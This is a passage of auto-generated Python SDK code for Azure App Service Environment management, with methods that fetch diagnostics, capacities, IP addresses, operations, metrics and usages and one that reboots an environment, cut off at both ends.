:type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: list of :class:`HostingEnvironmentDiagnostics <azure.mgmt.web.models.HostingEnvironmentDiagnostics>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/diagnostics' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('[HostingEnvironmentDiagnostics]', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_diagnostics_item( self, resource_group_name, name, diagnostics_name, custom_headers=None, raw=False, **operation_config): """ Get diagnostic information for hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param diagnostics_name: Name of the diagnostics :type diagnostics_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`HostingEnvironmentDiagnostics <azure.mgmt.web.models.HostingEnvironmentDiagnostics>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/diagnostics/{diagnosticsName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'diagnosticsName': self._serialize.url("diagnostics_name", diagnostics_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('HostingEnvironmentDiagnostics', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_capacities( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get used, available, and total worker capacity for hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`StampCapacityCollection <azure.mgmt.web.models.StampCapacityCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/capacities/compute' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('StampCapacityCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_vips( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get IP addresses assigned to the hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`AddressResponse <azure.mgmt.web.models.AddressResponse>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/capacities/virtualip' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('AddressResponse', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environments( self, resource_group_name, custom_headers=None, raw=False, **operation_config): """ Get all hostingEnvironments (App Service Environments) in a resource group. :param resource_group_name: Name of resource group :type resource_group_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`HostingEnvironmentCollection <azure.mgmt.web.models.HostingEnvironmentCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('HostingEnvironmentCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def reboot_hosting_environment( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Reboots all machines in a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/reboot' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [202, 400, 404, 409]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 202: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_operations( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ List all currently running operations on the hostingEnvironment (App Service Environment) :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/operations' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_operation( self, resource_group_name, name, operation_id, custom_headers=None, raw=False, **operation_config): """ Get status of an operation on a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param operation_id: operation identifier GUID :type operation_id: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/operations/{operationId}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'operationId': self._serialize.url("operation_id", operation_id, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200, 202, 404, 500]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if response.status_code == 202: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_metrics( self, resource_group_name, name, details=None, filter=None, custom_headers=None, raw=False, **operation_config): """ Get global metrics of hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param details: Include instance details :type details: bool :param filter: Return only usages/metrics specified in the filter. Filter conforms to odata syntax. Example: $filter=(name.value eq 'Metric1' or name.value eq 'Metric2') and startTime eq '2014-01-01T00:00:00Z' and endTime eq '2014-12-31T23:59:59Z' and timeGrain eq duration'[Hour|Minute|Day]'. :type filter: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ResourceMetricCollection <azure.mgmt.web.models.ResourceMetricCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/metrics' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if details is not None: query_parameters['details'] = self._serialize.query("details", details, 'bool') if filter is not None: query_parameters['$filter'] = self._serialize.query("filter", filter, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('ResourceMetricCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_metric_definitions( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get global metric definitions of hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`MetricDefinition <azure.mgmt.web.models.MetricDefinition>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/metricdefinitions' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('MetricDefinition', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_usages( self, resource_group_name, name, filter=None, custom_headers=None, raw=False, **operation_config): """ Get global usages of hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param filter: Return only usages/metrics specified in the filter. Filter conforms to odata syntax. Example: $filter=(name.value eq 'Metric1' or name.value eq 'Metric2') and startTime eq '2014-01-01T00:00:00Z' and endTime eq '2014-12-31T23:59:59Z' and timeGrain eq duration'[Hour|Minute|Day]'. :type filter: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CsmUsageQuotaCollection <azure.mgmt.web.models.CsmUsageQuotaCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/usages' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if filter is not None: query_parameters['$filter'] = self._serialize.query("filter", filter, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('CsmUsageQuotaCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_multi_role_metrics( self, resource_group_name, name, start_time=None, end_time=None, time_grain=None, details=None, filter=None, custom_headers=None, raw=False, **operation_config): """ Get metrics for a multiRole pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param start_time: Beginning time of metrics query :type start_time: str :param end_time: End time of metrics query :type end_time: str :param time_grain: Time granularity of metrics query :type time_grain: str :param details: Include instance details :type details: bool :param filter: Return only usages/metrics specified in the filter. Filter conforms to odata syntax. Example: $filter=(name.value eq 'Metric1' or name.value eq 'Metric2') and startTime eq '2014-01-01T00:00:00Z' and endTime eq '2014-12-31T23:59:59Z' and timeGrain eq duration'[Hour|Minute|Day]'. :type filter: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ResourceMetricCollection <azure.mgmt.web.models.ResourceMetricCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default/metrics' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if start_time is not None: query_parameters['startTime'] = self._serialize.query("start_time", start_time, 'str') if end_time is not None: query_parameters['endTime'] = self._serialize.query("end_time", end_time, 'str') if time_grain is not None: query_parameters['timeGrain'] = self._serialize.query("time_grain", time_grain, 'str') if details is not None: query_parameters['details'] = self._serialize.query("details", details, 'bool') if filter is not None: query_parameters['$filter'] = self._serialize.query("filter", filter, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('ResourceMetricCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_web_worker_metrics( self, resource_group_name, name, worker_pool_name, details=None, filter=None, custom_headers=None, raw=False, **operation_config): """ Get metrics for a worker pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param details: Include instance details :type details: bool :param filter: Return only usages/metrics specified in the filter. Filter conforms to odata syntax. Example: $filter=(name.value eq 'Metric1' or name.value eq 'Metric2') and startTime eq '2014-01-01T00:00:00Z' and endTime eq '2014-12-31T23:59:59Z' and timeGrain eq duration'[Hour|Minute|Day]'. :type filter: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ResourceMetricCollection <azure.mgmt.web.models.ResourceMetricCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}/metrics' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if details is not None: query_parameters['details'] = self._serialize.query("details", details, 'bool') if filter is not None: query_parameters['$filter'] = self._serialize.query("filter", filter, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('ResourceMetricCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_multi_role_metric_definitions( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get metric definitions for a multiRole pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`MetricDefinitionCollection <azure.mgmt.web.models.MetricDefinitionCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default/metricdefinitions' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('MetricDefinitionCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_web_worker_metric_definitions( self, resource_group_name, name, worker_pool_name, custom_headers=None, raw=False, **operation_config): """ Get metric definitions for a worker pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`MetricDefinitionCollection <azure.mgmt.web.models.MetricDefinitionCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}/metricdefinitions' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('MetricDefinitionCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_multi_role_usages( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get usages for a multiRole pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`UsageCollection <azure.mgmt.web.models.UsageCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default/usages' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url 